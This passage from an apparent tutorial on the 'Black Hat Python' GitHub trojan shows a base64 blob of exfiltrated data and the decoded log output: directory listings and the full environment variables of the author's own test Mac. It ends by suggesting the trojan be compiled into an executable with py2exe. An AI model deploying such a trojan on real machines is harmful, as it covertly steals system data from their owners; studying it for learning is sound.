20uYXBwbGUubGF1bmNoZC5MRHZUSUZsSmZQL29yZy5tYWNvc2ZvcmdlLnhxdWFydHo6MCcsICdfJzogJy9MaWJyYXJ5L0ZyYW1ld29ya3MvUHl0aG9uLmZyYW1ld29yay9WZXJzaW9ucy8zLjYvYmluL3B5dGhvbjMnLCAnX19QWVZFTlZfTEFVTkNIRVJfXyc6ICcvTGlicmFyeS9GcmFtZXdvcmtzL1B5dGhvbi5mcmFtZXdvcmsvVmVyc2lvbnMvMy42L2Jpbi9weXRob24zJ30pCgoKWypdIEZpbmlzaGVkIEV4ZWN1dGluZyBNb2R1bGVzClsqXSBTbGVlcGluZyBGb3IgMTAgU2Vjb25kcwoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqClsqXSBSdW5uaW5nIE9uOiBJU0FLS0lMQS1NLUMwS1AtMHg4Yzg1OTA0OTZlMGMKWypdIFRpbWU6IDIwMTctMTEtMDJUMTY6MjY6MDguNDUwMjQzClsqXSBVc2luZyBTcGVjaWZpYyBNb2R1bGVzClsqXSBTdWNjZXNzZnVsIE1vZHVsZXMgSW1wb3J0IEZyb206IGNvbmZpZy9TVk5CUzB0SlRFRXRUUzFETUV0UUxUQjRPR000TlRrd05EazJaVEJqLmpzb24KWypdIEluIGRpcmxpc3RlciBtb2R1bGU6CgpbJy5EU19TdG9yZScsICcwMDB3ZWJob3N0LnR4dCcsICdhbGwudHh0JywgJ2JsYWNraGF0cHl0aG9uLWNoNycsICdjYi1saXZlLmpzb24nLCAnY2gyX2JocG5ldC5weScsICdjaDJfbmV0Y2F0X2V4YW1wbGUucHknLCAnY2gyX3Jmb3J3YXJkLnB5JywgJ2NoMl9yZm9yd2FyZF9zZXJ2ZXIucHknLCAnY2gyX3NpbXBsZV90Y3Bfc2VydmVyLnB5JywgJ2NoMl9zc2hfY2xpZW50LnB5JywgJ2NoMl9zc2hfc2VydmVyLmtleScsICdjaDJfc3NoX3NlcnZlci5weScsICdjaDJfdGNwcHJveHlfZXhhbXBsZS5weScsICdjaDJfdGNwc2VydmVydG9vbHNfZXhhbXBsZS5weScsICdjaDRfYXJwX3BvaXNvbi5weScsICdjaDVfaHRtbF9mb3JtX2JydXRlX2ZvcmNlLnB5JywgJ2NoNV9odHRwX2JydXRlX2ZvcmNlci5weScsICdjaDZfYnVycF9zZW5kX3RvX2JpbmcucHknLCAnY2g2X2J1cnBfd29yZGxpc3QucHknLCAnZXh0ZXJuYWxfZWRnZS1saXZlLmpzb24nLCAnaG9zdC5rZXknLCAnaW50ZXJuYWxfZWRnZS1saXZlLmpzb24nLCAnanl0aG9uLXN0YW5kYWxvbmUtMi43LjAuamFyJywgJ291dHB1dC50eHQnLCAncGFzc3dkLnR4dCcsICdzY2FweV9wYXJzZXIucHknLCAnc29tZV9maWxlJywgJ3Rlc3QnLCAndGVzdC5wY2FwJywgJ3Rlc3QucHknLCAndGVzdDEucHknLCAndGVzdF9mb2xkZXInLCAndGV4dF9wY2FwLnBjYXAnLCAndXJscy50eHQnLCAndXJsc19mcm9tX3BjYXAudHh0JywgJ3VybHNfc25pZmYudHh0J10KCgpbKl0gSW4gZW52aXJvbiBtb2R1bGU6CgplbnZpcm9uKHsnVEVSTV9QUk9HUkFNJzogJ0FwcGxlX1Rlcm1pbmFsJywgJ1NIRUxMJzogJy9iaW4vYmFzaCcsICdURVJNJzogJ3h0ZXJtLTI1NmNvbG9yJywgJ1RNUERJUic6ICcvdmFyL2ZvbGRlcnMveGwvN2JuMDN3NTkwY3M3cjcwNzM1bmc3eDZ3MDAwMGduL1QvJywgJ0FwcGxlX1B1YlN1Yl9Tb2NrZXRfUmVuZGVyJzogJy9wcml2YXRlL3RtcC9jb20uYXBwbGUubGF1bmNoZC4xRVk4aFhtUWZHL1JlbmRlcicsICdURVJNX1BST0dSQU1fVkVSU0lPTic6ICczODguMS4xJywgJ09MRFBXRCc6ICcvVXNlcnMvaXNha2tpbGEvRG9jdW1lbnRzL2JsYWNraGF0cHl0aG9uL2JsYWNraGF0cHl0aG9uLWNoNycsICdURVJNX1NFU1NJT05fSUQnOiAnNjcyNUVGQ0MtMTBGQi00RTU4LThDOEItRjAyM0Y3RERDRkU1JywgJ1VTRVInOiAnaXNha2tpbGEnLCAnU1NIX0FVVEhfU09DSyc6ICcvcHJpdmF0ZS90bXAvY29tLmFwcGxlLmxhdW5jaGQuNWYzVHZGSk0xVi9MaXN0ZW5lcnMnLCAnX19DRl9VU0VSX1RFWFRfRU5DT0RJTkcnOiAnMHgxRjU6MHgwOjB4MCcsICdQQVRIJzogJy9MaWJyYXJ5L0ZyYW1ld29ya3MvUHl0aG9uLmZyYW1ld29yay9WZXJzaW9ucy8zLjYvYmluOi91c3IvbG9jYWwvYmluOi91c3IvYmluOi9iaW46L3Vzci9zYmluOi9zYmluOi9vcHQvWDExL2JpbjovdXNyL2xvY2FsL2Jpbi9qYW1mOi9BcHBsaWNhdGlvbnMvV2lyZXNoYXJrLmFwcC9Db250ZW50cy9NYWNPUycsICdQV0QnOiAnL1VzZXJzL2lzYWtraWxhL0RvY3VtZW50cy9ibGFja2hhdHB5dGhvbicsICdYUENfRkxBR1MnOiAnMHgwJywgJ1hQQ19TRVJWSUNFX05BTUUnOiAnMCcsICdTSExWTCc6ICcxJywgJ0hPTUUnOiAnL1VzZXJzL2lzYWtraWxhJywgJ0xPR05BTUUnOiAnaXNha2tpbGEnLCAnTENfQ1RZUEUnOiAnVVRGLTgnLCAnRElTUExBWSc6ICcvcHJpdmF0ZS90bXAvY29tLmFwcGxlLmxhdW5jaGQuTER2VElGbEpmUC9vcmcubWFjb3Nmb3JnZS54cXVhcnR6OjAnLCAnXyc6ICcvTGlicmFyeS9GcmFtZXdvcmtzL1B5dGhvbi5mcmFtZXdvcmsvVmVyc2lvbnMvMy42L2Jpbi9weXRob24zJywgJ19fUFlWRU5WX0xBVU5DSEVSX18nOiAnL0xpYnJhcnkvRnJhbWV3b3Jrcy9QeXRob24uZnJhbWV3b3JrL1ZlcnNpb25zLzMuNi9iaW4vcHl0aG9uMyd9KQoKClsqXSBGaW5pc2hlZCBFeGVjdXRpbmcgTW9kdWxlcwpbKl0gU2xlZXBpbmcgRm9yIDEwIFNlY29uZHMKKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgpbKl0gUnVubmluZyBPbjogSVNBS0tJTEEtTS1DMEtQLTB4OGM4NTkwNDk2ZTBjClsqXSBUaW1lOiAyMDE3LTExLTAyVDE2OjI2OjMzLjY5NTMwMQpbKl0gVXNpbmcgU3BlY2lmaWMgTW9kdWxlcwpbKl0gU3VjY2Vzc2Z1bCBNb2R1bGVzIEltcG9ydCBGcm9tOiBjb25maWcvU1ZOQlMwdEpURUV0VFMxRE1FdFFMVEI0T0dNNE5Ua3dORGsyWlRCai5qc29uClsqXSBJbiBkaXJsaXN0ZXIgbW9kdWxlOgoKWycuRFNfU3RvcmUnLCAnMDAwd2ViaG9zdC50eHQnLCAnYWxsLnR4dCcsICdibGFja2hhdHB5dGhvbi1jaDcnLCAnY2ItbGl2ZS5qc29uJywgJ2NoMl9iaHBuZXQucHknLCAnY2gyX25ldGNhdF9leGFtcGxlLnB5JywgJ2NoMl9yZm9yd2FyZC5weScsICdjaDJfcmZvcndhcmRfc2VydmVyLnB5JywgJ2NoMl9zaW1wbGVfdGNwX3NlcnZlci5weScsICdjaDJfc3NoX2NsaWVudC5weScsICdjaDJfc3NoX3NlcnZlci5rZXknLCAnY2gyX3NzaF9zZXJ2ZXIucHknLCAnY2gyX3RjcHByb3h5X2V4YW1wbGUucHknLCAnY2gyX3RjcHNlcnZlcnRvb2xzX2V4YW1wbGUucHknLCAnY2g0X2FycF9wb2lzb24ucHknLCAnY2g1X2h0bWxfZm9ybV9icnV0ZV9mb3JjZS5weScsICdjaDVfaHR0cF9icnV0ZV9mb3JjZXIucHknLCAnY2g2X2J1cnBfc2VuZF90b19iaW5nLnB5JywgJ2NoNl9idXJwX3dvcmRsaXN0LnB5JywgJ2V4dGVybmFsX2VkZ2UtbGl2ZS5qc29uJywgJ2hvc3Qua2V5JywgJ2ludGVybmFsX2VkZ2UtbGl2ZS5qc29uJywgJ2p5dGhvbi1zdGFuZGFsb25lLTIuNy4wLmphcicsICdvdXRwdXQudHh0JywgJ3Bhc3N3ZC50eHQnLCAnc2NhcHlfcGFyc2VyLnB5JywgJ3NvbWVfZmlsZScsICd0ZXN0JywgJ3Rlc3QucGNhcCcsICd0ZXN0LnB5JywgJ3Rlc3QxLnB5JywgJ3Rlc3RfZm9sZGVyJywgJ3RleHRfcGNhcC5wY2FwJywgJ3VybHMudHh0JywgJ3VybHNfZnJvbV9wY2FwLnR4dCcsICd1cmxzX3NuaWZmLnR4dCddCgoKWypdIEluIGVudmlyb24gbW9kdWxlOgoKZW52aXJvbih7J1RFUk1fUFJPR1JBTSc6ICdBcHBsZV9UZXJtaW5hbCcsICdTSEVMTCc6ICcvYmluL2Jhc2gnLCAnVEVSTSc6ICd4dGVybS0yNTZjb2xvcicsICdUTVBESVInOiAnL3Zhci9mb2xkZXJzL3hsLzdibjAzdzU5MGNzN3I3MDczNW5nN3g2dzAwMDBnbi9ULycsICdBcHBsZV9QdWJTdWJfU29ja2V0X1JlbmRlcic6ICcvcHJpdmF0ZS90bXAvY29tLmFwcGxlLmxhdW5jaGQuMUVZOGhYbVFmRy9SZW5kZXInLCAnVEVSTV9QUk9HUkFNX1ZFUlNJT04nOiAnMzg4LjEuMScsICdPTERQV0QnOiAnL1VzZXJzL2lzYWtraWxhL0RvY3VtZW50cy9ibGFja2hhdHB5dGhvbi9ibGFja2hhdHB5dGhvbi1jaDcnLCAnVEVSTV9TRVNTSU9OX0lEJzogJzY3MjVFRkNDLTEwRkItNEU1OC04QzhCLUYwMjNGN0REQ0ZFNScsICdVU0VSJzogJ2lzYWtraWxhJywgJ1NTSF9BVVRIX1NPQ0snOiAnL3ByaXZhdGUvdG1wL2NvbS5hcHBsZS5sYXVuY2hkLjVmM1R2RkpNMVYvTGlzdGVuZXJzJywgJ19fQ0ZfVVNFUl9URVhUX0VOQ09ESU5HJzogJzB4MUY1OjB4MDoweDAnLCAnUEFUSCc6ICcvTGlicmFyeS9GcmFtZXdvcmtzL1B5dGhvbi5mcmFtZXdvcmsvVmVyc2lvbnMvMy42L2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2JpbjovYmluOi91c3Ivc2Jpbjovc2Jpbjovb3B0L1gxMS9iaW46L3Vzci9sb2NhbC9iaW4vamFtZjovQXBwbGljYXRpb25zL1dpcmVzaGFyay5hcHAvQ29udGVudHMvTWFjT1MnLCAnUFdEJzogJy9Vc2Vycy9pc2Fra2lsYS9Eb2N1bWVudHMvYmxhY2toYXRweXRob24nLCAnWFBDX0ZMQUdTJzogJzB4MCcsICdYUENfU0VSVklDRV9OQU1FJzogJzAnLCAnU0hMVkwnOiAnMScsICdIT01FJzogJy9Vc2Vycy9pc2Fra2lsYScsICdMT0dOQU1FJzogJ2lzYWtraWxhJywgJ0xDX0NUWVBFJzogJ1VURi04JywgJ0RJU1BMQVknOiAnL3ByaXZhdGUvdG1wL2NvbS5hcHBsZS5sYXVuY2hkLkxEdlRJRmxKZlAvb3JnLm1hY29zZm9yZ2UueHF1YXJ0ejowJywgJ18nOiAnL0xpYnJhcnkvRnJhbWV3b3Jrcy9QeXRob24uZnJhbWV3b3JrL1ZlcnNpb25zLzMuNi9iaW4vcHl0aG9uMycsICdfX1BZVkVOVl9MQVVOQ0hFUl9fJzogJy9MaWJyYXJ5L0ZyYW1ld29ya3MvUHl0aG9uLmZyYW1ld29yay9WZXJzaW9ucy8zLjYvYmluL3B5dGhvbjMnfSkKCgpbKl0gRmluaXNoZWQgRXhlY3V0aW5nIE1vZHVsZXMK

Decoding this would reveal the exfiltrated data!!

****************************************************************************************************
[*] Running On: ISAKKILA-M-C0KP-0x8c8590496e0c
[*] Time: 2017-11-02T16:23:34.401488
[*] Using Specific Modules
[*] Successful Modules Import From: config/SVNBS0tJTEEtTS1DMEtQLTB4OGM4NTkwNDk2ZTBj.json
[*] In dirlister module:['.DS_Store', '000webhost.txt', 'all.txt', 'blackhatpython-ch7', 'cb-live.json', 'ch2_bhpnet.py', 'ch2_netcat_example.py', 'ch2_rforward.py', 'ch2_rforward_server.py', 'ch2_simple_tcp_server.py', 'ch2_ssh_client.py', 'ch2_ssh_server.key', 'ch2_ssh_server.py', 'ch2_tcpproxy_example.py', 'ch2_tcpservertools_example.py', 'ch4_arp_poison.py', 'ch5_html_form_brute_force.py', 'ch5_http_brute_forcer.py', 'ch6_burp_send_to_bing.py', 'ch6_burp_wordlist.py', 'external_edge-live.json', 'host.key', 'internal_edge-live.json', 'jython-standalone-2.7.0.jar', 'output.txt', 'passwd.txt', 'scapy_parser.py', 'some_file', 'test', 'test.pcap', 'test.py', 'test1.py', 'test_folder', 'text_pcap.pcap', 'urls.txt', 'urls_from_pcap.txt', 'urls_sniff.txt'][*] In environ module:environ({'TERM_PROGRAM': 'Apple_Terminal', 'SHELL': '/bin/bash', 'TERM': 'xterm-256color', 'TMPDIR': '/var/folders/xl/7bn03w590cs7r70735ng7x6w0000gn/T/', 'Apple_PubSub_Socket_Render': '/private/tmp/com.apple.launchd.1EY8hXmQfG/Render', 'TERM_PROGRAM_VERSION': '388.1.1', 'OLDPWD': '/Users/isakkila/Documents/blackhatpython/blackhatpython-ch7', 'TERM_SESSION_ID': '6725EFCC-10FB-4E58-8C8B-F023F7DDCFE5', 'USER': 'isakkila', 'SSH_AUTH_SOCK': '/private/tmp/com.apple.launchd.5f3TvFJM1V/Listeners', '__CF_USER_TEXT_ENCODING': '0x1F5:0x0:0x0', 'PATH': '/Library/Frameworks/Python.framework/Versions/3.6/bin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/opt/X11/bin:/usr/local/bin/jamf:/Applications/Wireshark.app/Contents/MacOS', 'PWD': '/Users/isakkila/Documents/blackhatpython', 'XPC_FLAGS': '0x0', 'XPC_SERVICE_NAME': '0', 'SHLVL': '1', 'HOME': '/Users/isakkila', 'LOGNAME': 'isakkila', 'LC_CTYPE': 'UTF-8', 'DISPLAY': '/private/tmp/com.apple.launchd.LDvTIFlJfP/org.macosforge.xquartz:0', '_': '/Library/Frameworks/Python.framework/Versions/3.6/bin/python3', '__PYVENV_LAUNCHER__': '/Library/Frameworks/Python.framework/Versions/3.6/bin/python3'})[*] Finished Executing Modules
[*] Sleeping For 10 Seconds
****************************************************************************************************
[*] Running On: ISAKKILA-M-C0KP-0x8c8590496e0c
[*] Time: 2017-11-02T16:24:14.884963
[*] Using Specific Modules
[*] Successful Modules Import From: config/SVNBS0tJTEEtTS1DMEtQLTB4OGM4NTkwNDk2ZTBj.json
[*] In dirlister module:['.DS_Store', '000webhost.txt', 'all.txt', 'blackhatpython-ch7', 'cb-live.json', 'ch2_bhpnet.py', 'ch2_netcat_example.py', 'ch2_rforward.py', 'ch2_rforward_server.py', 'ch2_simple_tcp_server.py', 'ch2_ssh_client.py', 'ch2_ssh_server.key', 'ch2_ssh_server.py', 'ch2_tcpproxy_example.py', 'ch2_tcpservertools_example.py', 'ch4_arp_poison.py', 'ch5_html_form_brute_force.py', 'ch5_http_brute_forcer.py', 'ch6_burp_send_to_bing.py', 'ch6_burp_wordlist.py', 'external_edge-live.json', 'host.key', 'internal_edge-live.json', 'jython-standalone-2.7.0.jar', 'output.txt', 'passwd.txt', 'scapy_parser.py', 'some_file', 'test', 'test.pcap', 'test.py', 'test1.py', 'test_folder', 'text_pcap.pcap', 'urls.txt', 'urls_from_pcap.txt', 'urls_sniff.txt'][*] In environ module:environ({'TERM_PROGRAM': 'Apple_Terminal', 'SHELL': '/bin/bash', 'TERM': 'xterm-256color', 'TMPDIR': '/var/folders/xl/7bn03w590cs7r70735ng7x6w0000gn/T/', 'Apple_PubSub_Socket_Render': '/private/tmp/com.apple.launchd.1EY8hXmQfG/Render', 'TERM_PROGRAM_VERSION': '388.1.1', 'OLDPWD': '/Users/isakkila/Documents/blackhatpython/blackhatpython-ch7', 'TERM_SESSION_ID': '6725EFCC-10FB-4E58-8C8B-F023F7DDCFE5', 'USER': 'isakkila', 'SSH_AUTH_SOCK': '/private/tmp/com.apple.launchd.5f3TvFJM1V/Listeners', '__CF_USER_TEXT_ENCODING': '0x1F5:0x0:0x0', 'PATH': '/Library/Frameworks/Python.framework/Versions/3.6/bin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/opt/X11/bin:/usr/local/bin/jamf:/Applications/Wireshark.app/Contents/MacOS', 'PWD': '/Users/isakkila/Documents/blackhatpython', 'XPC_FLAGS': '0x0', 'XPC_SERVICE_NAME': '0', 'SHLVL': '1', 'HOME': '/Users/isakkila', 'LOGNAME': 'isakkila', 'LC_CTYPE': 'UTF-8', 'DISPLAY': '/private/tmp/com.apple.launchd.LDvTIFlJfP/org.macosforge.xquartz:0', '_': '/Library/Frameworks/Python.framework/Versions/3.6/bin/python3', '__PYVENV_LAUNCHER__': '/Library/Frameworks/Python.framework/Versions/3.6/bin/python3'})[*] Finished Executing Modules
[*] Sleeping For 10 Seconds-----Truncated------

You can compile the python script into an executable using py2exe. I will leave your imagination to do the work!

Black Hat Python — Trojans and Github

Written by Ismail Akkila